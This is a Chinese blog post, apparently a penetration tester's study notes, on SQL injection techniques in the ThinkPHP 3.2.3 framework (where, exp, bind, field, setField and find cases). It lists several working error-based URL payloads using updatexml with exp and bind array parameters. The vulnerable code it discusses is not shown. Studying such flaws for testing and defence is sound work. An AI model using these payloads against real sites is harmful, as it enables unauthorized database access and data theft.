ThinkPHP 3.2.3框架注入

最近对一个系统进行渗透的时候,碰到了基于tp3.x的一个where注入,对基于tp3.x框架注入做一个学习

0x01:where注入

1)若代码中进行数据查询时,使用I函数直接以字符串的形式传参

则存在sql注入漏洞
test1?id=1 and updatexml(1,concat(0x7e,(select user())),0)

若以数组的形式传参

断点调试发现会使用inval进行强制类型转换,导致不存在注入

2)未使用I函数

未使用I函数,使用了GET POST COOKIE进行传参的情况

例如使用了GET进行传参,虽然是数组的情况,但是可以利用exp进行注入

如果使用I函数,以下代码就不存在exp注入了

再次输入payload

3)使用了数组和I函数,但是用了save和add方法

使用了I函数,where内参数可控,传入的是array类型,使用了save方法

可使用bind进行注入
whereTest?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,(select user())),0)

0x02:未使用I函数,且save和add内参数可控

未使用I函数,在save和add方法内参数可控

使用exp进行注入
whereTest11?password[0]=exp&password[1]=0 and updatexml(1,concat(0x7e,(select user())),0)

0x03:field注入

字段起别名,例如利用数组传参

利用I函数可给username起一个别名

即可能导致sql注入

0x04:使用了setField导致注入

使用了setField且where内可控

whereTest2?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,(select user())),0)

0x05:find注入

使用了I函数,但是find内参数可控


便于
使用exp注入
findTest?id[where]=updatexml(1,concat(0x7e,(select user())),0)

发表评论

电子邮件地址不会被公开。 必填项已用*标注